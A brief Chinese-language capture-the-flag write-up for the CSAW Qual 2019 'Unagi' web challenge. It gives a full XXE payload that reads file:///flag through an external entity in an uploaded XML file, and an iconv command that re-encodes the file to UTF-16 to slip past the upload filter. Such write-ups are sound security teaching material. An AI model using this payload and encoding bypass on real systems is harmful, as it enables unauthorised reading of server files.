安恒暑期培训8-2wp

[CSAWQual 2019]Web_Unagi
发现upload里面有个here的超链接，点进去打开源码发现
根据四个提示，可以猜测是要我们构造一个xml的文件然后将XXE编码转码为UTF-16来上传，所以构造一个payload

<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
    <user>
        <username>bob</username>
        <password>passwd2</password>
        <name> Bob</name>
        <email>bob@fakesite.com</email>  
        <group>CSAW2019</group>
        <intro>&xxe;</intro>
    </user>
</users>

保存为2.xml然后丢到kali中使用iconv -f utf8 -t utf-16 2.xml>1.xml将UTF-8的文件2转码为UTF-16的文件1
然后提交1.xml获得flag